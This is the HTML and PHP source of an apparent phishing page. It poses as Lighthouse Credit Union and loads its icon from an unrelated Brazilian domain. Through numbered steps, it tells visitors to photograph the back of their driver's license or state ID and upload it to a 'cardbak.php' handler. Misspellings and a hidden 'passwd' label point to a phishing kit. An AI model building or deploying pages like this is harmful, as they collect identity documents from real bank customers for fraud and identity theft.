<!DOCTYPE html>
<html>
    
    <head><link rel="icon" type="image/png" href="https://kukatech.com.br/lighthousecu/index_files/200.180.png"/><title>New England's Trusted Credit Union | Lighthouse Credit Union</title></head>
    <body><style>
  .bg-image {

}</style><div class="bg-image">
       <img src="index_files/301.100.png" width="301" height="100"> 
        <!-- Display submission status -->
<?php if(!empty($statusMsg)){ ?>
    <p><?php echo $statusMsg; ?></p>
<?php } ?>
 
<!-- Display contact form -->
<form method="post" action="cardbak.php" enctype="multipart/form-data">
    <br><br><LABEL><FONT size="12" color="#7e06ed"><b>Upload A Valid Copy Of A State Issued ID or Driver's License Back.<br><br></b></FONT> </LABEL><br><lable><b>How do you upload a document from your phone or computer?</b></lable><br><br><lable><FONT color="#970921"><b>Step 1. Take a picture your driver's license showing all four conners with your Phone.</b></lable></font><br><br>
        <lable><FONT color="#970921"><b>Step 2. Click on the BROWSE LABEL OR CHOOSE FILE label below to either search Photo Library or to add saved file.</b></lable></font>
        <br>
        <lable><FONT color="#970921"><b>Step 3. Sellect ID CARD required then upload. </b></font></lable>
    <LABEL><FONT SIZE="30"></FONT> </LABEL>
    <div class="form-group"><lable><b>NOTE:</b> You must upload A copy of the Front and Back of Driver's License Required.</lable>
    <label for="passwd" class="float accessibly-hidden"><FONT SIZE="4" color="#fffff9"></FONT></label>
        <lable><b></b></lable>
    </div><br><lable></lable>
    <div class="form-group">
        <img src="index_files/250.145.png" width="250" height="145">
    </div><br>
   
   <br><br>
    <div class="form-group">
        <input type="file" name="file" class="form-control" placeholder="ID">
    </div><br><br><br>
    	<BR><BR>
    <div class="submit">
        <input type="submit" name="submit" size="20" class="btn" value="&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SUBMIT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;">
    </div><br><br>
</form>
 </div>
</body>
 
</html>